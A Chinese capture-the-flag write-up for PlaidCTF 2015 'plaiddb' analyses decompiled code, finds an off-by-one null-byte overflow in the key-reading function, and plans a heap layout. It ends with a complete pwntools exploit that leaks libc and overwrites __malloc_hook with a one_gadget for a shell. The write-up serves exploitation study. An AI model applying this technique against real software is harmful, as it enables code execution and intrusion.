[off-by-one]–plaidctf 2015 plaiddb

前言

这个题做了很久,太累了,放暑假还是没得在学校学习效率高,不是不想学就是有其他的事情,准备做完这些堆题,开始转为re为主了,还是感觉PWN没什么钱途呀。

分析

1
2
3
4
5
6
7
8
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/ctf/work/off_by_one/PLAiDB/PlaidDB'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/tmp/ld-2.23.so'

不是很妙,因为防护全开了,但不是很影响,这些防护基本上只能防护防护栈溢出,对于堆溢出基本没什么用。

tips

这里有个小知识点,因为这个这个漏洞需要用到一些基于lib2.23的性质,后面的2.23以后的glibc中有tache的存在,于是我们需要用patchelf工具来替换文件的so文件

具体的命令如下,因为我用的是现成的pwndocker来做的,docker中本身就自带各种so文件,于是我可以直接用,https://github.com/coke-pwn/pwndocker.git这是该docker的下载地址,如何配置我这里就不再介绍了。

1
2
3
cp /glibc/2.23/64/lib/ld-2.23.so /tmp/ld-2.23.so
patchelf --set-interpreter /tmp/ld-2.23.so ./test
LD_PRELOAD=./libc.so.6 ./test

运行完命令后,用ldd来查看一下是否修改成功,可以看到以及修改成功了。

1
2
3
4
root@74f21669baa4:/ctf/work/off_by_one/PLAiDB # ldd  PlaidDB                                                                               
linux-vdso.so.1 (0x00007fff23bf0000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f430526b000)
/tmp/ld-2.23.so => /lib64/ld-linux-x86-64.so.2 (0x00007f430567a000)

漏洞分析

开始分析逆向后的文件,如果你还没有分析一次的话,建议先自己去分析一遍,不太懂的地方再回来看看文章。

从main函数开始

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
_QWORD *v3; // rbx
_QWORD *v4; // rax
char *v5; // rax

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = malloc(0x38uLL);
v4 = malloc(8uLL);
if ( v4 )
*v4 = 'g4lf3ht'; // 给v4赋值
*v3 = v4; // 将v4的地址给v3存储
v5 = (char *)malloc(9uLL);
if ( v5 )
strcpy(v5, "youwish\n"); // 给v5赋值
v3[2] = v5;
v3[1] = 8LL;
two_x(v3); // 二叉树
puts("INFO: Welcome to the PlaidDB data storage service.");
puts("INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT");
while ( 1 )
main1();
}

部分函数我已经重新命名了,可以看到main函数先是申请了三个空间,一个地址空间存储的g4lf3ht一个存储的youwish,最后一个0x38大小的空间存储了前两个空间的地址和一个数字。结合题目,我们可以分析出来这个就是一个key-value的数据库,two_x函数对于我来说还是太复杂了,其他师傅分析出来是v3空间里面写入一个二叉树的结构体,是用来寻值的时候用的。

然后main1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
unsigned __int64 sub_1A20()
{
bool v0; // zf
const char *v1; // rdi
__int64 flag; // rcx
char *v3; // rsi
const char *v4; // rdi
__int64 v5; // rcx
char *v6; // rsi
const char *v7; // rdi
__int64 v8; // rcx
char *v9; // rsi
const char *v10; // rdi
__int64 v11; // rcx
char *v12; // rsi
const char *v13; // rdi
__int64 v14; // rcx
char *v15; // rsi
char v17[8]; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v18; // [rsp+8h] [rbp-10h]

v18 = __readfsqword(0x28u); // 栈溢出保护
puts("PROMPT: Enter command:");
gets(v17, 8LL); // 获取输入,最多8个
v1 = "GET\n";
flag = 5LL;
v3 = v17;
do
{
if ( !flag ) // v2等于0,break
break;
v0 = *v3++ == *v1++;
--flag;
}
while ( v0 );
if ( v0 )
{
GET(v1, v3);
}
else
{
v4 = "PUT\n";
v5 = 5LL;
v6 = v17;
do
{
if ( !v5 )
break;
v0 = *v6++ == *v4++;
--v5;
}
while ( v0 );
if ( v0 )
{
PUT(v4, v6);
}
else
{
v7 = "DUMP\n";
v8 = 6LL;
v9 = v17;
do
{
if ( !v8 )
break;
v0 = *v9++ == *v7++;
--v8;
}
while ( v0 );
if ( v0 )
{
DUMP(v7, v9);
}
else
{
v10 = "DEL\n";
v11 = 5LL;
v12 = v17;
do
{
if ( !v11 )
break;
v0 = *v12++ == *v10++;
--v11;
}
while ( v0 );
if ( v0 )
{
DEL(v10, v12);
}
else
{
v13 = "EXIT\n";
v14 = 6LL;
v15 = v17;
do
{
if ( !v14 )
break;
v0 = *v15++ == *v13++;
--v14;
}
while ( v0 );
if ( v0 )
Goodbye(v13, v15);
__printf_chk(1LL, "ERROR: '%s' is not a valid command.\n", v17);
}
}
}
}
return __readfsqword(0x28u) ^ v18;
}

main1函数就是读取一个输入,然后再根据不同的输入来进入相应的函数,分别是PUT,GET,DUMP,DEL,EXIT,PUT函数是用来读取一个key-value的数据进入数据库,GET是从数据库中根据key来读取value,DUMP是输出所有的key-value数据,EXIT就是退出数据库。

PUT函数

因为PUT函数是输入的函数,是比较重要的函数,我们先分析,这种函数一般也是出现漏洞比较多的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
void sub_1240()
{
void **stuct; // rbx
unsigned __int64 v1; // rax
void *v2; // rax
__int64 v3; // rbp
char v4[24]; // [rsp+0h] [rbp-38h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-20h]

v5 = __readfsqword(40u);
stuct = (void **)malloc(0x38uLL); // 先申请0x38个字节的空间
if ( !stuct ) // 申请失败
{
puts("FATAL: Can't allocate a row");
exit(-1);
}
puts("PROMPT: Enter row key:");
*stuct = getkey(); // 获取键值
puts("PROMPT: Enter data size:");
gets(v4, 16LL);
v1 = strtoul(v4, 0LL, '\0'); // 把参数 str 所指向的字符串根据给定的 base 转换为一个无符号长整数(类型为 unsigned long int 型),
// base 必须介于 2 和 36(包含)之间,或者是特殊值 0。
stuct[1] = (void *)v1; // 数据大小
v2 = malloc(v1);
stuct[2] = v2; // 数据堆块的地址
if ( v2 )
{
puts("PROMPT: Enter data:");
fread_1(stuct[2], (size_t)stuct[1]);
v3 = two_x(stuct);
if ( v3 )
{
free(*stuct);
free(*(void **)(v3 + 16));
*(_QWORD *)(v3 + 8) = stuct[1];
*(_QWORD *)(v3 + 16) = stuct[2];
free(stuct);
puts("INFO: Update successful.");
}
else
{
puts("INFO: Insert successful.");
}
}
else
{
puts("ERROR: Can't store that much data.");
free(*stuct);
free(stuct);
}
}

看完函数其实就是,读取key,读取size,再读取value,然后分别将key-size-value输入到结构体中去,结构体中还存在一个二叉树。具体的结构体如下:

1
2
3
4
5
6
7
8
9
struct Node {
char *key;
long data_size;
char *data;
struct Node *left;
struct Node *right;
long dummy;
long dummy1;
}

然后我们发现在读取key的时候,作者自己实现了一个读取输入的函数getkey,于是我们去看看该函数

getkey(漏洞函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// 该函数的作用主要是将输入的字符串放到一个堆块里面去,然后返回一个地址
char *getkey()
{
char *memory_1; // r12
char *memory_1_copy; // rbx
size_t real_memory; // r14
char IO_char; // al
char IO_char_copy; // bp
__int64 subtract_between; // r13
char *realloc_1; // rax

memory_1 = (char *)malloc(8uLL); // 一开始分配8个空间
memory_1_copy = memory_1;
real_memory = malloc_usable_size(memory_1); // Linux下获取malloc实际分配的内存大小,8在64位对应的是24
while ( 1 )
{
IO_char = _IO_getc(stdin); // 读取下一个字符 并将其作为无符号字符转换为 int 或EOF在文件结尾或错误时返回。
IO_char_copy = IO_char;
if ( IO_char == -1 ) // EOF就是读取错误,就直接返回
Goodbye();
if ( IO_char == '\n' ) // 如果读取的为换行符,就跳出循环
break;
subtract_between = memory_1_copy - memory_1;
if ( real_memory <= memory_1_copy - memory_1 )
{
realloc_1 = (char *)realloc(memory_1, 2 * real_memory);
memory_1 = realloc_1;
if ( !realloc_1 ) // 如果realloc不成功就报错
{
puts("FATAL: Out of memory");
exit(-1);
}
memory_1_copy = &realloc_1[subtract_between];
real_memory = malloc_usable_size(realloc_1);
}
*memory_1_copy++ = IO_char_copy; // 漏洞所在,这里有可能访问到本来访问不到的地址。漏洞所在,此时 v3 作为索引,指向了下一个位置,
// 如果位置全部使用完毕则会指向下一个本应该不可写位置
}
*memory_1_copy = '\0'; // 将最后的一位给置为0,也就是存在0字节溢出
return memory_1;
}

通读完源代码,发现在最后面对将从_IO_getc函数读取的字符赋值给申请的空间上的时候存在判断错误。函数的漏洞点位于0X1040处, 用于获取键值,当输入换行符时,会将其替换成 null 字节,如果输入长度为 chunk usable size 且最后一个字节为换行符的字符串,则会触发 off-by-one。就会将下一个chunk的size更改。

关键的漏洞函数已经分析完了,剩下的函数分不分析都差不多了。

漏洞利用分析

漏洞的位置在功能分析中已经指出来了,在 getline 当中,但是这个函数比较特殊的地方在于,它所分配的大小是逐渐增大的,通过可用大小乘二的方式增大,使用了 realloc,也就是说,我们想要触发这个漏洞,就需要满足特定大小的要求。

根据分配过程,满足的大小有:

  • 0x18
  • 0x38
  • 0x78
  • 0xf8
  • 0x1f8

这些大小都可以触发溢出。

现在我们就需要知道我们需要采用的具体利用方法了。首先 off-by-one 漏洞可以造成堆交叉,可以造成 libc 地址泄露,之后所要采用的利用方法,由于已经存在堆交叉,也就是可以形成 UAF ,可以使用 UAF 的常用方法。

UAF 漏洞最简单的方法当然是 fastbin attack 了,所以我采用了 fastbin attack。

到这里,我们就可以开始思考如何形成我们所需要的利用条件。off-by-one最终的效果是可以将一个释放状态的 smallbin chunk 或是 unsortedbin chunk 一直到被溢出 chunk 合并成一个大 chunk。也就是说:

1
2
3
4
5
6
7
8
9
+------------+
| | <-- free 的 unsortedbin 或是 smallbin chunk (因为此时 fd 和 bk 指向合法指针,才能够进行 unlink)
+------------+
| ... | <-- 任意 chunk
+------------+
| | <-- 进行溢出的 chunk
+------------+
| vuln | <-- 被溢出的 chunk,大小为 0x_00 (例如 0x100, 0x200……)
+------------+

off-by-one 利用后,以上出现的 chunk 都将被合并为一个释放状态的 chunk。这样中间任意 chunk 的位置如果是已被分配的,就可以造成 overlap 了。

按照我们的利用思路,结合题目 getline 函数通过 malloc(8)realloc 的分配方式,我们需要:

  1. 任意 chunk 位置至少有一个已经被分配,且可以读出数据的 chunk 来泄露 libc 地址
  2. 进行溢出的 chunk 需要在最上方的 chunk 之前被分配,否则 malloc(8) 的时候会分配到最上方而不是进行溢出 chunk 应在的位置
  3. 任意 chunk 位置至少还需要有一个已经被释放,且 size 为 0x71 的 chunk 来进行 fastbin attack
  4. 所有 chunk 不应该被合并进 top,所以最下方应该有一个已经分配的 chunk 保证与 top chunk 的距离
  5. 进行溢出的 chunk 大小应该属于 unsortedbin 或是 smallbin,不能为 fastbin,否则被释放之后,按照 getline 的分配方式,malloc(8) 无法分配在该位置

按照以上原则,我们可以思考出 chunk 的分布如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
+------------+
| 1 | <-- free 的 size == 0x200 chunk
+------------+
| 2 | <-- size == 0x60 fastbin chunk,已被分配,且可以读出数据
+------------+
| 5 | <-- size == 0x71 fastbin chunk,为 fastbin attack 做准备
+------------+
| 3 | <-- size == 0x1f8 free 状态的 smallbin/unsortedbin chunk
+------------+
| 4 | <-- size == 0x101 被溢出 chunk
+------------+
| X | <-- 任意分配后 chunk 防止 top 合并
+------------+

由于分配过程还有一些额外结构(结构体本身的分配和 getline),我们需要先释放出足够的 fastbin chunk 来避免结构体本身的分配对我们的过程造成影响。

在此之后,依次释放掉 5, 3, 1, 之后利用 del 输入时候的 getline,将 3 填满,造成 off-by-one,之后将 4 free 掉进行合并(伪造 prev_size),这样就有了一个交叉的堆结构了。

之后的过程就更加简单了,首先分配 1 的大小,使得 libc 地址被写到 2 里,就可以泄露出地址,然后将 5 分配出来,写入需要的内容,就可以 fastbin attack 了。

exploit

由于原 libc 为 2.19 版本,加载有一些奇怪的问题,较为麻烦,而本题没有用到 2.19 独有的特性,所以我采用了 2.23 的 libc 进行调试,版本为 ubuntu10。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8

import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

if len(sys.argv) > 2:
DEBUG = 0
HOST = sys.argv[1]
PORT = int(sys.argv[2])

p = remote(HOST, PORT)
else:
DEBUG = 1
if len(sys.argv) == 2:
PATH = sys.argv[1]

p = process(PATH)


libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # ubuntu 16.04

def cmd(command_num):
p.recvuntil('command:')
p.sendline(str(command_num))


def put(key, size, data):
cmd('PUT')
p.recvuntil('key:')
p.sendline(key)

p.recvuntil('size:')
p.sendline(str(size))
p.recvuntil('data:')
if len(data) < size:
p.send(data.ljust(size, '\x00'))
else:
p.send(data)


def delete(key):
cmd('DEL')
p.recvuntil('key:')
p.sendline(key)


def get(key):
cmd('GET')
p.recvuntil('key:')
p.sendline(key)
p.recvuntil('[')
num = int(p.recvuntil(' bytes').strip(' bytes'))
p.recvuntil(':\n')
return p.recv(num)


def main():
# avoid complicity of structure malloc
for i in range(10):
put(str(i), 0x38, str(i))

for i in range(10):
delete(str(i))

# allocate what we want in order
put('1', 0x200, '1')
put('2', 0x50, '2')
put('5', 0x68, '6')
put('3', 0x1f8, '3')
put('4', 0xf0, '4')
put('defense', 0x400, 'defense-data')


# free those need to be freed
delete('5')
delete('3')
delete('1')

delete('a' * 0x1f0 + p64(0x4e0))

delete('4')

put('0x200', 0x200, 'fillup')
put('0x200 fillup', 0x200, 'fillup again')

libc_leak = u64(get('2')[:6].ljust(8, '\x00'))
p.info('libc leak: 0x%x' % libc_leak)

libc_base = libc_leak - 0x3c4b78

p.info('libc_base: 0x%x' % libc_base)

put('fastatk', 0x100, 'a' * 0x58 + p64(0x71) + p64(libc_base + libc.symbols['__malloc_hook'] - 0x10 + 5 - 8))
put('prepare', 0x68, 'prepare data')

one_gadget = libc_base + 0x4526a
put('attack', 0x68, 'a' * 3 + p64(one_gadget))

p.sendline('DEL') # malloc(8) triggers one_gadget

p.interactive()

if __name__ == '__main__':
main()